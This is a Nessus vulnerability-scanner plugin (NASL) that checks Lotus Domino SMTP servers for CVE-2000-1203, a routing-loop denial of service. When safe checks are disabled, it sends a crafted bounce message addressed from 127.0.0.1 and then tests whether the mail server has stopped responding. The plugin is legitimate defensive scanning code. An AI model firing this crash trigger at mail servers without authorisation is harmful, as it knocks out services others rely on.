# # This script was written by Michel Arboi # # GPL... # # References # Date: Mon, 20 Aug 2001 21:19:32 +0000 # From: "Ian Gulliver" # To: bugtraq@securityfocus.com # Subject: Lotus Domino DoS # if(description) { script_id(11717); script_bugtraq_id(3212); script_cve_id("CVE-2000-1203"); script_version ("$Revision: 1.6 $"); name["english"] = "Lotus Domino SMTP bounce DoS"; script_name(english:name["english"]); desc["english"] = " The remote SMTP server (maybe a Lotus Domino) can be killed or disabled by a malformed message that bounces to himself. The routing loop exhausts all resources. A cracker may use this to crash it continuously. Solution: Reconfigure your MTA or upgrade it Risk factor : High"; script_description(english:desc["english"]); summary["english"] = "Broken message bounced to himself exhausts MTA"; script_summary(english:summary["english"]); script_category(ACT_MIXED_ATTACK); script_copyright(english:"This script is Copyright (C) 2003 Michel Arboi"); family["english"] = "Denial of Service"; family["francais"] = "Déni de service"; script_family(english:family["english"], francais:family["francais"]); # Avoid this test if the server relays e-mails. script_dependencie("find_service.nes", "smtp_settings.nasl", "smtp_relay.nasl", "smtpscan.nasl"); script_exclude_keys("SMTP/spam"); script_require_ports("Services/smtp", 25); exit(0); } # include("smtp_func.inc"); port = get_kb_item("Services/smtp"); if (!port) port = 25; buff = get_smtp_banner(port:port); if ( ! buff || "Lotus Domino" >!< buff ) exit(0); # Disable the test if the server relays e-mails or if safe checks # are enabled if (get_kb_item("SMTP/spam") || safe_checks()) { if(egrep(pattern:"^220.*Lotus Domino Release ([0-4]\.|5\.0\.[0-8][^0-9])", string:buff)) { security_hole(port); exit(0); } # Use smtpscan's banner. banner = get_kb_item(string("smtp/", port, "/real_banner")); if(ereg(pattern:"Lotus.* ([0-4]\.|5\.0\.[0-8][^0-9])", string:banner)) { security_hole(port); exit(0); } exit(0); } # n_sent = 0; fromaddr = string("bounce", rand(), "@[127.0.0.1]"); toaddr = string("nessus", rand(), "@invalid", rand(), ".net"); s = open_sock_tcp(port); if(!s)exit(0); buff = smtp_recv_banner(socket:s); b = string("From: nessus\r\nTo: postmaster\r\n", "Subject: SMTP bounce denial of service\r\n\r\ntest\r\n"); n = smtp_send_port(port: port, from: fromaddr, to: toaddr, body: b); if (! n) exit(0); sleep(1); flag = 1; soc = open_sock_tcp(port); if (soc) { send(socket: soc, data: string("HELO example.com\r\n")); buff = recv_line(socket: soc, length: 2048); if (buff =~ "^2[0-9][0-9] ") flag = 0; send(socket: soc, data: string("QUIT\r\n")); close(soc); } if (flag) security_hole(port);